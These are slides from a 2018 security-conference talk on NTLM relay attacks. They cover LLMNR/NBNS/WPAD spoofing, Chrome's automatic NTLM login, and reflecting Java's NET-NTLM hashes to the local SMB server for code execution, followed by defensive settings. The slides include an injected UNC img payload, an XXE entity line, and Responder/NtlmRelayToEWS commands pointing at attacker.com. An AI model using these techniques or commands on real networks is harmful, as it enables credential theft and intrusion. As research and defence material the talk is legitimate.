NTLM Relay is dead, Long live NTLM Relay
Who are we

• Junyu Zhou a.k.a @md5_salt
• 0ops / A*0*E CTF Team
• GeekPwn 2015 / 2017 Winner
• https://github.com/5alt
Who are we

• Jianing Wang a.k.a @T0m4to_
• Syclover Security Team
• Blog: https://bl4ck.in/
Who are we

• Tencent Security Xuanwu Lab
• Web Security Researcher & Pentester
Agenda

- NTLM Relay Basics
- Known NTLM Relay Attacks
- New way to send credential in browsers
- SMB Reflection Attack Rebirth
- How to defend against NTLM Relay
NTLM Relay Basics
What is NTLM

- NT LAN Manager
- protocol for authentication, integrity, and confidentiality
- challenge-response authentication protocol
  - Type 1 message (negotiation)
  - Type 2 message (challenge)
  - Type 3 message (authentication)
- NTLMSSP (NT LAN Manager (NTLM) Security Support Provider)
Type 1 message (negotiation)

I'm \texttt{DOMAIN\client}, let me login
Type 2 message (challenge)

Here is the challenge, hash it with your password

client

server
Type 3 message (authentication)

client

Here is the challenge-response

server
Protocols using NTLMSSP

- SMB
- HTTP
- LDAP
- MSSQL
- ...

HITBSecConf2018-Dubai
Before we come to NTLM Relay attacks, we talk about **Windows Name Resolution** first.
Windows Name Resolution

- Hosts
- DNS (cache / server)
- Local LMHOST File
- LLMNR
- NBNS
LLMNR

- Link-Local **Multicast** Name Resolution
- UDP

<table>
<thead>
<tr>
<th>IP Address</th>
<th>MAC Address</th>
<th>Protocol</th>
<th>Query Type</th>
<th>Query Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>fe80::34ee:9c22:d8e... ff02::1:3</td>
<td>192.168.177.1</td>
<td>LLMNR</td>
<td>84 Standard query 0xb45 A salt</td>
<td></td>
</tr>
<tr>
<td>192.168.177.1</td>
<td>224.0.0.252</td>
<td>LLMNR</td>
<td>64 Standard query 0xb45 A salt</td>
<td></td>
</tr>
<tr>
<td>fe80::34ee:9c22:d8e... ff02::1:3</td>
<td>192.168.177.1</td>
<td>LLMNR</td>
<td>84 Standard query 0xbfd1 AAAA salt</td>
<td></td>
</tr>
<tr>
<td>192.168.177.129</td>
<td>192.168.177.1</td>
<td>LLMNR</td>
<td>84 Standard query response 0xb45 A salt A 192.168.177.129</td>
<td></td>
</tr>
<tr>
<td>fe80::34ee:9c22:d8e... ff02::1:3</td>
<td>192.168.177.1</td>
<td>LLMNR</td>
<td>84 Standard query 0xbfd1 AAAA salt</td>
<td></td>
</tr>
</tbody>
</table>
NBNS

- NetBIOS Name Service
- UDP (typically)
- Broadcast
- src / dst port 137
Frame 52: 104 bytes on wire (832 bits), 104 bytes captured (832 bits) on interface 0
Ethernet II, Src: Vmware_6d:77:cb (00:0c:29:6d:77:cb), Dst: Vmware_c0:00:08 (00:50:56:c0:00:08)
User Datagram Protocol, Src Port: 137, Dst Port: 137
NetBIOS Name Service
  Transaction ID: 0x85c2
  Flags: 0x8500, Response, Opcode: Name query, Authoritative, Recursion desired, Reply code: No error
  Questions: 0
  Answer RRs: 1
  Authority RRs: 0
  Additional RRs: 0
  Answers
    SALT<20>: type NB, class IN
      Name: SALT<20> (Server service)
      Type: NB (32)
      Class: IN (1)
      Time to live: 2 minutes, 45 seconds
      Data length: 6
      Name flags: 0x0000, QNT: B-node (B-node, unique)
      Addr: 192.168.177.129
NBNS / LLMNR can be spoofed
Attacker can be ANY host
WPAD

• Web Proxy Auto-Discovery Protocol
• http://wpad/wpad.dat as PAC file

• Hijack WPAD -> Proxy Server
• Insert any html tags in HTTP Response
Let's see a typical NTLM Relay Attack
The attacker wants to login to the server as victim, but doesn't know victim's password.
I want to access http://example.com
I should check WPAD first
Who is WPAD?

I am WPAD. You can get PAC from me. The PAC says I am also the proxy server.
Hello proxy server, give me response of http://example.com

Here is the response with my evil payload
<img src="\attacker\123">
I need to login to `\attacker\123`
I am DOMAIN\victim, let me login

I am DOMAIN\victim, let me login
Hello victim, here is the challenge, hash it with your password.

Hello victim, here is the challenge, hash it with your password.
Here is the challenge-response

victim

attacker

Here is the challenge-response

server

HITBSecConf2018-Dubai
Login Failed!

Login Succeed!
attacker can login to server as victim
Sometimes, the victim and the server is the same machine
Let's see some real-world attacks
SMB Reflect Attack

- Victim accesses UNC path / file protocol
  - `\attacker\123`
  - `file://attacker/123`
- Victim sends its credentials automatically
- Attacker reflects credentials to victim's SMB server
- RCE via starting service
The security update addresses the vulnerability by modifying the way that SMB authentication replies are validated to prevent the replay of credentials.

Stopped SMB to SMB relay on the same machine.
Hot Potato (win7)

1. Start web server on localhost:80
2. Hijack WPAD and redirect Windows Defender Update to web server
3. Web server ask for 401 NTLM authentication and relay to local SMB
4. Hot potato login to local SMB as NT Authority/System

HTTP to SMB relay on the same machine
MS16-075

The security update addresses the vulnerability by correcting how Windows Server Message Block (SMB) Server handles credential forwarding requests. For more information about the vulnerability, see the Vulnerability Information section.

Fixed relay credential from local HTTP to local SMB server
Is NTLM Relay Dead?

NO!
Relay to another machine

• Relay SMB to Microsoft Exchange Server
  • Exchange Web Service supports NTLM authentication
  • Many useful Web APIs
  • RCE via vulnerable Outlook client

• Relay SMB to another machine's SMB
  • share same credentials

......
Relay credentials to Microsoft Exchange Server

**Responder**  Spoof Windows Name Resolution

**NtlmRelayToEWS**  Relay Credentials to Exchange Server

```python
python Responder.py  -I ens33
python NtlmRelayToEWS.py  -t
http://mail.target.com/EWS/exchange.asmx  -r setHomePage  -f inbox  
-u http://attacker.com
```
Where to get a SMB request?

• Browser
• Word
• PDF
• Explorer.exe
...
# Modern Browsers

<table>
<thead>
<tr>
<th></th>
<th>IE(win7)</th>
<th>IE(win10)</th>
<th>Edge</th>
<th>Chrome</th>
</tr>
</thead>
<tbody>
<tr>
<td>WPAD</td>
<td>⬤</td>
<td>⬤</td>
<td>⬤</td>
<td>⬤</td>
</tr>
<tr>
<td>SMB</td>
<td>⬤</td>
<td>⬤</td>
<td>⬤</td>
<td>⬤</td>
</tr>
</tbody>
</table>

- ⬤: support
- ⬦: not support
We can't do...

• Attack IE / Edge on win10 remotely without user interaction
  • can not be proxy server and insert evil tags
  • victim needs to browse attacker's page

• Attack Chrome remotely
  • blocks request to SMB
  • not allowed to load local resource

• Reflect credentials to SMB (same machine)
  • MS08-068
  • MS16-075
Is NTLM Relay Dead?

Almost...
NTLM Relay needs a rebirth
New way to send credential in browser

- NTLMSSP over http

- Browser
  - Internet Explorer / Edge
  - Google Chrome
  - Firefox
NTLMSSP over http

Browser

Request
Response (401 unauthorized)
Request (NTLMSSP Negotiate)
Response (401 NTLMSSP Challenge)
Request (NTLMSSP Auth)
Response (Results)

Authentication Server
How to send Windows' credential automatically in browser?
Intranet Zone

• Browser only sends credential automatically in the Intranet Zone

• Windows has some way to check whether the URL is in an intranet zone
Internet Explorer API

• IInternetSecurityManager::ProcessUrlAction
  • pswzUrl(in) A constant pointer to a wide character string that specifies the URL.
  • pPolicy(out) A pointer to a buffer that receives the policy and action for the specified URL.

• IInternetSecurityManager::MapUrlToZone
  • pwszUrl(in) A string value that contains URL.
  • pdwZone(out) An unsigned long integer variable that receives the zone index.
What is Policy and Zone?

• **Policy**
  
  • `URLPOLICY_CREDENTIALS_SILENT_LOGON_OK`
  
  • `URLPOLICY_CREDENTIALS_MUST_PROMPT_USER`

• **Zone**

<table>
<thead>
<tr>
<th>Value</th>
<th>Setting</th>
<th>Automatically Login</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>My Computer</td>
<td>✓</td>
</tr>
<tr>
<td>1</td>
<td>Local Internet Zone</td>
<td>✓</td>
</tr>
<tr>
<td>2</td>
<td>Trusted sites Zone</td>
<td>✓</td>
</tr>
<tr>
<td>3</td>
<td>Internet Zone</td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>Restricted Sites Zone</td>
<td></td>
</tr>
</tbody>
</table>
Feature on WIN7 and WIN10

- write a simple program for testing
- test in a workgroup environment

<table>
<thead>
<tr>
<th>OS version</th>
<th>Policy</th>
<th>Zone</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows10 Build 17134</td>
<td>URLPOLICY_CREDENTIALS_CONDITIONAL_PROMPT</td>
<td>1 (Local Internet Zone)</td>
<td><a href="http://win10">http://win10</a></td>
</tr>
<tr>
<td>Windows10 Build 17134</td>
<td>URLPOLICY_CREDENTIALS_CONDITIONAL_PROMPT</td>
<td>3 (Internet Zone)</td>
<td><a href="http://win10.org">http://win10.org</a></td>
</tr>
<tr>
<td>Windows7 Build 7601</td>
<td>URLPOLICY_CREDENTIALS_CONDITIONAL_PROMPT</td>
<td>3 (Internet Zone)</td>
<td><a href="http://win7">http://win7</a></td>
</tr>
</tbody>
</table>
Implementation in the browser

- Chrome
  - URLSecurityManagerWin::CanUseDefaultCredentials
  - Chrome is respecting Internet Explorer's setting

- Firefox
  - nsHttpNTLMAuth.cpp CanUseDefaultCredentials
  - Firefox depends on user's setting
  - in about:config, user can set the value of "network.automatic-ntlm-auth.allow-non-fqdn"
Now we can..

- Attack Chrome remotely
  - chrome will automatically send credentials
  - intranet zone
  - NTLMSSP over http

- One more thing
  - Amazing Chrome's Omnibox
Another attack surface in Chrome

1. Type anything in Chrome's Omnibox, such as "Today News"
2. Windows asks “who is Today News?” through Name Resolution
3. Attacker answered by spoofing, I am "Today News" and need you to complete NTLM authentication
4. Chrome determines "Today News" is in intranet zone, so it will automatically login.
5. Attacker obtains the credentials and then relays it to other machines
Can we relay credentials to the same machine?
SMB Reflection Attack Rebirth

1. Using java application to access web page which needs NTLM authentication
2. Stealing NET-NTLMhash from victim
3. Reflecting NET-NTLMhash to victim's SMB service (same machine)
4. Authenticated to SMB service successfully
5. RCE via starting remote service
When can Java send HTTP request?

- Server Side Request Forgery (SSRF)
  - Automatic authentication only works on HttpURLConnection
- XML entity injection (XXE)
  - `<!ENTITY xxe SYSTEM "http://server">`
  - XML parser will choose the way of connection according to protocol
Why Java can automatically NTLM authentication?

HttpURLConnection::writeRequest → Response(401) WWW-Authenticate:NTLM

HttpURLConnection:getServerAuthentication

use current logged on users credentials silently

true

tryTransparentNTLMServer
Why Java can automatically NTLM authentication?

tryTransparentNTLMServer is always true (Windows only)

```
static class DefaultNTLMAuthenticationCallback extends NTLMAuthenticationCallback {
    @Override
    public boolean isTrustedSite(URL url) { return true; }
}
```
How to reflect the credentials to SMB?

Victim (SMB Server) → Ask for NTLM challenge (NTLMSSP negotiation over HTTP) → Attacker (HTTP Server)

Hypertext Transfer Protocol

GET / HTTP/1.1

User-Agent: Java/1.8.0_161
Host: 192.168.130.135
Accept: text/html, image/gif, image/jpeg, *, text/*; q=.2, */*; q=.2
Connection: keep-alive

Authorization: NTLM TlRMVTvNUAABAAAAB7IIGkACQA3AAAAADwAPACgAAAAKAO5CAAAAD8RFUgUtUT1AtUU9MUKk3R1dpUkthUk9VUA--

NTLM Secure Service Provider

NTLMSSP identifier: NTLMSSP

NTLM Message Type: NTLMSSP_NEGOTIATE (0x00000001)

Negotiate Flags: 0xa208b207, Negotiate 56, Negotiate 128, Negotiate Version, Negotiate Extended Security, Negotiate Netlogon

Calling workstation domain: WORKGROUP

Calling workstation name: DESKTOP-Q0VR17F

Version 10.0 (Build 17134); NTLM Current Revision 15
How to reflect the credentials to SMB?

1. **Victim** (SMB Server)
2. **Attacker** (HTTP Server)

Ask for NTLM challenge (NTLMSSP negotiation over SMB)

---

| 42 6.297767 | 192.168.130.135 | 192.168.130.134 | SMB2 | 244 Session Setup Request, NTLMSSP_Negotiate |

---

```
GSS-API Generic Security Service Application Program Interface
OID: 1.3.6.1.5.5.2 (SPNEGO - Simple Protected Negotiation)
    Negotiate Flags: 0xa208b207, Negotiate 56, Negotiate 128, Negotiate Version, Negotiate Extended Security, Negotiate Always Sign
    Calling workstation domain: WORKGROUP
    Calling workstation name: DESKTOP-QOVR17F
    Version 10.0 (Build 17134); NTLM Current Revision 15
```
How to reflect the credentials to SMB?

This is NTLM challenge (1) (NTLMSSP challenge over SMB)

Victim (SMB Server) -> Attacker (HTTP Server)

```
Simple Protected Negotiation

negTokenTarg
  negResult: accept-incomplete (1)
supportedMech: 1.3.6.1.4.1.311.2.2.10 (NTLMSSP - Microsoft NTLM Security Support Provider)
responseToken: 4e54a4c4d53535002000001001e0038000000005c28aa2...

NTLM Secure Service Provider
  NTLMSSP identifier: NTLMSSP
  NTLM Message Type: NTLMSSP_CHALLENGE (0x00000002)
  Target Name: DESKTOP-00V817F
  Negotiate Flags: 0xa2b2c285, Negotiate 56, Negotiate 128, Negotiate Version, Negotiate Target Info, Negotiate Extended Security, Target Type
  NTLM Server Challenge: 0a1f3661946761e
  Reserved: 70c44205d0020000
  Target Info
```
How to reflect the credentials to SMB?

In this step, the attacker not only transferred NTLM challenge(1), but also modified the Negotiate Flags.

Victim (SMB Server) → Attacker (HTTP Server)

This is NTLM challenge(1) (NTLMSSP challenge over HTTP)

Hypertext Transfer Protocol

HTTP/1.1 401 Unauthorized

Server: SimpleHTTP/0.6 Python/2.7.12
Date: Fri, 24 Aug 2018 04:02:44 GMT

WWW-Authenticate: NTLM T1RMTNVTUAAACAAAAGeADg0AAAAFAoqi6qHzh1Gdh5wxEJpsAEAAJgAmABWAAAACgDuQgAAAA9EAEUA

NTLM Secure Service Provider

- NTLMSSP identifier: NTLMSSP
- NTLM Message Type: NTLMSSP_CHALLENGE (0x00000002)
- Target Name: DESKTOP-QOVR17F
- Negotiate Flags: 0xa28a0205, Negotiate 56, Negotiate 128, Negotiate Version, Negotiate Target Info, Negotiate NTLM Server Challenge: eaa1f36619d6761e
  - Reserved: 70c44269b0010000
  - Target Info
  - Version 10.0 (Build 17134); NTLM Current Revision 15
How to reflect the credentials to SMB?

Negotiate Flags: 0xa28ac205 → 0xa28a0205

- **Negotiate Always Sign**
  - Indicates that authenticated communication between the client and server should be signed with a "dummy" signature.

- **Negotiate 0x00004000**
  - Sent by the server to indicate that the server and client are on the same machine. Implies that the client may use the established local credentials for authentication instead of calculating a response to the challenge.
How to reflect the credentials to SMB?

This is NET-NTLMHash (NTLMSSP Auth over HTTP)

Victim (SMB Server) → Attacker (HTTP Server)
How to reflect the credentials to SMB?

Victim (SMB Server) ➔ This is NET-NTLMHash (NTLMSSP Auth over SMB) ➔ Attacker (HTTP Server)

\begin{verbatim}
    negTokenTag
    responseToken: 4e544c4d535350000300000018018000e000000200012001...

    NTLM Secure Service Provider
    NTLMSSP identifier: NTLMSSP
    NTLM Message Type: NTLMSSP_AUTH (0x00000003)
    Lan Manager Response: 0000000000000000000000000000000000000000000000000000000000000000
    LMv2 Client Challenge: 00000000000000000000
    NTLM Response: 18dce6a6d44c2380ce1a47fa8693e69a0101000000000000
    Domain name: DESKTOP-Q0VR17F
    User name: Administrator
    Host name: DESKTOP-Q0VR17F
    Session Key: Empty
    Negotiate Flags: 0x2880205, Negotiate 56, Negotiate 128, Negotiate Version, Negotiate Target Info, Negotiate Extended
    Version 10.0 (Build 17134); NTLM Current Revision 15
    MIC: 84e66b76525f49158f82d5366d4819f2
\end{verbatim}

HITBSecCon2018-Dubai
A real-world case

- Apache Cayenne Modeler XXE (CVE-2018-11758)
  - a complete GUI mapping tool that supports reverse-engineering of RDBMS schemas
  - the configuration file format is XML
  - XXE via opening a crafted configuration file

Post exploitation via XXE
- Arbitrary file read
- DOS
- SSRF
- RCE
How to defend against NTLM Relay?

Client
• Disable automatic login in intranet
• Disable WPAD
• Block TCP 139/445 and UDP 137/138 port via firewall

Server
• SMB
  • Enable SMB signing
  • SMB signing is enabled by default on DC
• Exchange Web Service
  • Exchange Server should be built on intranet
  • If EWS is not used, then disable access to it
Reference

https://en.wikipedia.org/wiki/NT_LAN_Manager
http://davenport.sourceforge.net/ntlm.html
https://www.slideshare.net/sunnyneo/hot-potato-privilege-escalation
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-075
https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms537179%28v=vs.85%29%29
Acknowledgement

• tombkeeper(@tombkeeper)
• fcding(@FlowerCode_)
• Impacket(@SecureAuthCorp)
• Responder(@SpiderLabs)
• NtlmRelaytoEWS(@Arno0x)
THANKS FOR ATTENTION

Q&A

https://github.com/5alt/ultrarelay